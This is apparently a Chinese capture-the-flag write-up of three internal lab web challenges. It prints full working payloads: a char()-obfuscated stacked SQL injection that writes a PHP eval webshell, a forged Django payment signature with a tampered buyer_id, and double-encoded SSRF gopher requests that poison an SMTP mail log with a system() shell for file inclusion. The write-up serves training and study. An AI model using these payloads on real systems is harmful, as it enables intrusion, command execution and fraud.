内部靶场训练1110-1116
前言
内部靶场训练,记录一下
write a shell
这个题目第一遍做的时候没做出来,后面看了WP才发现是考察的预编译;一开始就给了一个注册和登录的功能,其他页面访问不了,所以一开始尝试注册admin',让咱们去注册,但是被转义了,用户名变成了admin\' ;同样的我尝试admin\ 也被转义了,试了两个手法发现都不行。所以这里其实基本上不存在sql注入了。
那就登录进去看看吧:

登录之后发现那个编辑头像那里有个文件上传,所以我一开始想的会不会是文件上传,传了几个文件发现只有图片格式的文件能传上去。所以联想到有没有可能是phar反序列化,但是这种的话需要给代码啊,于是拿着工具扫,啥也没扫出来,在用户信息点进去那里发现是存在sql查询的:

试了几个poc,发现也是没啥回显,估计和注册页面用的是同一个waf,到这里基本上没啥思路了。后面看了WP发现是堆叠注入,要用预处理。其实是有提示的,当我尝试注册名为selectadmin时,发现被替换成了@,所以可以尝试以下预处理:

预处理的语法:
1 | set @s=select 1,2,3,4,5; |
不过这里需要绕过一下:
1 | set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(49),char(44),char(50),char(44),char(51),char(44),char(52),char(44),char(53),char(59)); |
到这个题目的话需要把^换成@,所以是:
1 | set ^s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(49),char(44),char(50),char(44),char(51),char(44),char(52),char(44),char(53),char(59)); |
让AI写了个拼写脚本,输入字符串,输出concat(xxx)格式
1 | def string_to_ascii_concat(input_str): |
接下里就是看权限,找可写路径;
1 | select GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE from information_schema.USER_PRIVILEGES; 查询权限 |
1 | http://XXXX/user/user.php?id=7;set ^s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(71),char(82),char(65),char(78),char(84),char(69),char(69),char(44),char(80),char(82),char(73),char(86),char(73),char(76),char(69),char(71),char(69),char(95),char(84),char(89),char(80),char(69),char(44),char(51),char(44),char(52),char(44),char(73),char(83),char(95),char(71),char(82),char(65),char(78),char(84),char(65),char(66),char(76),char(69),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(85),char(83),char(69),char(82),char(95),char(80),char(82),char(73),char(86),char(73),char(76),char(69),char(71),char(69),char(83),char(59)) |
打过去发现是FILE权限,可读可写,接下来是找可写的目录,这里可以尝试找一下头像上传的目录,翻一下HTML源码可以发现有个favicon目录,尝试写一下:
select "<?php eval($_POST[cmd]);?>" into outfile "/var/www/html/favicon/my.php";
用脚本编码一下然后poc打过去:
1 | http://10.45.1.21/user/user.php?id=7;set ^s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(34),char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(59),char(63),char(62),char(34),char(32),char(105),char(110),char(116),char(111),char(32),char(111),char(117),char(116),char(102),char(105),char(108),char(101),char(32),char(34),char(47),char(118),char(97),char(114),char(47),char(119),char(119),char(119),char(47),char(104),char(116),char(109),char(108),char(47),char(102),char(97),char(118),char(105),char(99),char(111),char(110),char(47),char(109),char(121),char(46),char(112),char(104),char(112),char(34),char(59));prepare a from ^s;execute a; |
然后哥斯拉尝试连接成功,在根目录下找到flag:

shop
shop这道题给了源码,下载下来,发现是个python的Djiango框架,用的是MTV架构,其实和传统的MVC差不多,只是MVC里面V是视图,而MTV里面的V是控制器,相当于C。主要漏洞代码在:/shop/view.py ,
1 | from django.shortcuts import render, HttpResponse, get_object_or_404, redirect |
而主要是看这个函数:
1 | def payOrder(request, orderid): |
我们可以再抓一个包看一下:

然而这里的RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE 我们是可以从secret.key里面找到的, 所以这里的一切都可控了,我们就可以伪造
1 | from hashlib import md5 |
改了good_price之后还是买不了,因为我普通账户积分只有300,校验逻辑是从数据库里面取价格g.price,然后对比:
1 | elif u.profile.point < g.price: |
所以我们还是得找一个积分多的用户来伪造,翻一下数据库可以发现管理员积分很多:


可以看到对应的user_id是16,我们再尝试一下抓包修改伪造:
1 | from hashlib import md5 |
抓包修改下buyer_id:
1 | POST /payment/check?signature=2ca432f0760c950a700626f8b1a63e15 |
babypentest
1 |
|
题目倒是朴实无华,就几行代码。第一个点是绕过strpos,这里配合curl_exec,可以用二次编码,数据到服务器会进行一次解码,到了curl_exec去发起请求的时候,会再进行一次解码。访问 flag.php发现返回的是200,直接尝试file协议,对php进行二次编码,?x=file:///var/www/html/flag.%2570hp,F12可以看到有提示:
1 | <!--?php //there is no flag /etc/hosts -->?> |
提示了/etc/hosts,访问下再看:
1 | 127.0.0.1 localhost |
给了个内网IP,这里思路发散些,首先就是对内网IP进行端口扫描,其实就是进行同网段扫描,这里可以发现存在一个172.18.0.2里面有个文件包含
用dict协议来对端口进行扫描:

发现25端口开着,SMTP协议,这里是利用SSRF来写shell到 /var/log/mail.log。我们利用gopherus来生成payload:

几个细节:首先就是这里的php得二次编码一下,得绕过strpos的检测,另外这个payload也得编码一下,这种ssrf的最好都编码一下,防止引发歧义。

二次编码后的payload:gopher%3A%2F%2F172%2E18%2E0%2E2%3A25%2F%5FMAIL%2520FROM%3A%253C%253F%2570hp%2520system%2528%2524%5FGET%255BMy0n9s%255D%2529%253F%253E%250ARCPT%2520To%3Ahello%2540123%2Ecom%250ADATA%250AFrom%3A%253C%253F%2570hp%2520system%2528%2524%5FGET%255BMy0n9s%255D%2529%253F%253E%250ASubject%3Ajust%2520a%2520test%250AMessage%3Atesttesttest%250A
传参过去:http://10.45.1.27/?x=gopher%3A%2F%2F172%2E18%2E0%2E2%3A25%2F%5FMAIL%2520FROM%3A%253C%253F%2570hp%2520system%2528%2524%5FGET%255BMy0n9s%255D%2529%253F%253E%250ARCPT%2520To%3Ahello%2540123%2Ecom%250ADATA%250AFrom%3A%253C%253F%2570hp%2520system%2528%2524%5FGET%255BMy0n9s%255D%2529%253F%253E%250ASubject%3Ajust%2520a%2520test%250AMessage%3Atesttesttest%250A
这里是利用gopher协议来和172.18.0.2的smtp服务来进行通信,把我们构造的shell写到mail日志里面,然后包含。
首先数据到达我们的服务器会url解码一次,然后经过curl_exec又会解码一次,这里进行编码的意义就是为了防止被误解析导致400 。

可以发现是成功通信了的,我们也可以验证一下能不能getshell,防止产生歧义,还是得把特殊字符,比如 /啥的,用cyberchef编码一下,然后打过去:

可以发现有ls是执行了的;那么接下来再试试ls /
如果是直接传:http://10.45.1.27/?x=http%3A%2F%2F172%2E18%2E0%2E2%3Fa%3D%2Fvar%2Flog%2Fmail%2Elog%26My0n9s%3Dls%20%2F 会直接400
这里我理解的是经过第一次解码:http://172.18.0.2?a=/var/log/mail.log&My0n9s=ls /,然后curl_exec去执行的时候会直接400,所以还是要把特殊字符再编码一下就好了,比如 ls / 里面的空格及/ 。空格和/编码二次编码过去就是%2520%252F
所以最终的payload:http://10.45.1.27/?x=http%3A%2F%2F172%2E18%2E0%2E2%3Fa%3D%2Fvar%2Flog%2Fmail%2Elog%26My0n9s%3Dls%2520%252F
另外关于这个编码问题,deepseek给出了很好的解释:
1 | Q2:为什么需要URL编码才能成功执行命令? |
1 | Q3:为什么执行ls /需要双重编码? |
这里我补充一下如果空格不二次编码,带入到http协议,我们可以抓个包看下:

如果你直接把%20变成空格,那就不是字符串空格了,而是打乱了http请求的格式。就会导致出错!
